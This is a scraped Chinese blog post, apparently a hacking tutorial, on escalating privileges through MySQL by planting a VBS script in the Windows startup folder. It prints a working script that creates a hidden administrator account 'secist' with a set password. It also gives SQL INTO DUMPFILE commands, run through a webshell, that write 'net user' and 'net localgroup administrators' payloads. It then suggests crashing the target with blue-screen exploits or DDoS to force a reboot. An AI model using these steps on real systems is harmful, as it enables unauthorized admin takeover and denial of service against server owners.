zoukankan      html  css  js  c++  java
  • MySQL提权之启动项提权

    关于MySQL的启动项提权,听其名知其意。就是将一段 VBS脚本导入到  C:Documents and SettingsAll Users「开始」菜单程序启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

    这里有两种思路:

    1. 如果  C:Documents and SettingsAll Users「开始」菜单程序启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下!

    VBS 提权脚本代码如下:

    1 setwsnetwork=CreateObject("WSCRIPT.NETWORK")
    2 os="WinNT://"&wsnetwork.ComputerName
    3 Set ob=GetObject(os)
    4 Setoe=GetObject(os&"/Administrators,group")
    5 Set od=ob.Create("user","secist")
    6 od.SetPassword "secist.com"
    7 od.SetInfo
    8 Set of=GetObject(os&"/secist",user)
    9 oe.add os&"/secist"

    将以上代码保存为 .vbs 后缀的文件上传即可!

    2. 通过大马的MySQL执行功能,利用SQL命令来进行VBS脚本的创建及添加。

    create table secist(cmd text);

    insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

    insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

    insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

    select * from secist into dumpfile “C:Documents and SettingsAll Users「开始」菜单程序启动secist.vbs”;

     写入文件报错 修改配置文件也无法写入

     只能修改写入文件的路径

     

     再将生成的文件移动到自启动目录

    成功执行以上命令后,只要管理员重启了服务器,我们就可以成功提权了!

    温馨提示:

    1.关于重启目标服务器,我们可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务!

    2.上传的目录必须具备可读写的权限!

    3.调用的 cmd 也必须有足够的权限!

    参考:https://blog.csdn.net/qq_37077262/article/details/102964050

          https://www.cnblogs.com/wh4am1/p/6613759.html

  • 相关阅读:
    thrift ssl 证书整理
    snmp学习笔记
    你必须了解的Session的本质
    安装大文件提示错误
    说说大型高并发高负载网站的系统架构(更新)
    【错误】未能找到类型或命名空间名称XXXX和未能解析引用的程序
    js调用后台代码的几种方式
    HTTP 错误 401.1
    万能的编程语言不要习惯性地把工具当作你天性缺陷的遮羞布
    PostgreSQL与MySQL比较
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12991667.html
Copyright © 2011-2022 走看看